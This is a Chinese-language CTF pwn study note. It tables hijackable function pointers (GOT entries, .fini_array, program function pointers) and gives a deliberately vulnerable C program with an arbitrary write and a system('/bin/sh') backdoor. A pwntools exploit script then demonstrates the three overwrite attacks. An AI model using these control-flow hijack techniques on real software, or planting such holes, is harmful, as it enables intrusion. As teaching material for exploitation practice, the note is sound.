对CTF Pwn题中 常见的 属于目标程序本体中的 可被攻击者利用进行控制流劫持的 函数指针 以及 触发方式 进行了整理。
攻击变量 | 变量位置 | 触发函数 | 条件 |
---|---|---|---|
GOT表表项 | .got.plt 段 | 相应函数 | GOT表可写 |
_fini_array | .fini_array 段 | exit(), main函数return | _fini_array 可写( -z norelro) |
程序自己实现的函数指针 | 程序的数据段(bss、data)、栈、堆) | 程序函数指针调用位置 | 无 |
示例程序
附件:test
#include <stdio.h>
#include <stdlib.h>
int backdoor() { system("/bin/sh"); }
int hello() { puts("hello\n"); }
int(* func_ptr)();
int main(){
long long * p,data;
char rw;
setbuf(stdout,0);
func_ptr = hello;
while(1){
printf("write or return or exit or hello?\n> ");scanf("%c",&rw);scanf("%*[^\n]%*c");
if(rw == 'w'){
printf("addr: ");scanf("%p",&p);
printf("data: ");scanf("%llx",&data);
*p = data; printf("OK\n");
}
else if(rw == 'r') break;
else if(rw == 'e') exit(0);
else if(rw == 'h') func_ptr();
scanf("%*c");
}
return 0;
}
编译方式:
$ gcc test.c -z norelro -o test
攻击总结
from pwn import *
myelf = ELF("./test")
io = process(myelf.path)
sla = lambda delim,data : io.sendlineafter(delim,data)
write = lambda addr,data : (sla("> ","w"),sla("addr:",hex(addr)),sla("data:",hex(data)))
hello = lambda : (sla("> ","h"))
ret = lambda : (sla("> ","r"))
exit = lambda : (sla("> ","e"))
def attack_func_ptr():
write(myelf.symbols['func_ptr'],myelf.symbols['backdoor'])
hello() # trigger
def attack_got():
write(myelf.got['puts'],myelf.symbols['backdoor']) # puts("OK"); auto trigger
def attack_fini_array():
# gcc test.c -z norelro -o test
# https://xuanxuanblingbling.github.io/ctf/pwn/2019/09/06/317/
# https://www.coder.work/article/7496829
# https://blog.csdn.net/easy_level1/article/details/115662443
write(0x0600AF0,myelf.symbols['backdoor'])
ret() # trigger
# exit also can trigger _fini_array: https://eqqie.cn/index.php/laji_note/1546/
# exit()
attack_func_ptr()
io.interactive()